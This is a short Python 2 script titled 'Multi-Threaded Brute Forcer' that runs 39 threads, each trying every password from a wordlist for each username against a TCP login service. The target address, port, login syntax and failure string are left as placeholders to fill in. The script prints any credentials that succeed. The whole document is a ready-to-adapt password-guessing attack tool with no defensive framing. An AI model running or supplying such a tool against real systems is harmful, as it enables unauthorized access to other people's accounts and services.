Multi-Threaded Brute Forcer

#!/usr/bin/python
 
import threading
import Queue
import socket
 
usernameList = open('users.txt','r').read().splitlines()
passwordList = open('passwords.txt','r').read().splitlines()
 
class WorkerThread(threading.Thread) :
 
  def __init__(self, queue, tid) :
    threading.Thread.__init__(self)
    self.queue = queue
    self.tid = tid
 
  def run(self) :
    while True :
      username = None 
 
      try :
        username = self.queue.get(timeout=1)
 
      except  Queue.Empty :
        return
 
      try :
        for password in passwordList:
                                  tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                                  tcpSocket.connect(('### IP Address ###',### Port ###))
                                  tcpSocket.recv(1024)
                                  tcpSocket.send("### Syntax that allows login ###")
                                  if '### Fail Response ###' in tcpSocket.recv(1024):
                                          tcpSocket.close()
                                          print "Failed " + username + "/" + password
                                  else:
                                          print "[+] Successful Login! Username: " + username + " Password: " + password
      except :
        raise 
 
      self.queue.task_done()
 
queue = Queue.Queue()
 
threads = []
for i in range(1, 40) : # Number of threads
  worker = WorkerThread(queue, i) 
  worker.setDaemon(True)
  worker.start()
  threads.append(worker)
 
for username in usernameList :
  queue.put(username)     # Push usernames onto queue
 
queue.join()
 
# wait for all threads to exit 
 
for item in threads :
  item.join()
 
print "Testing Complete!"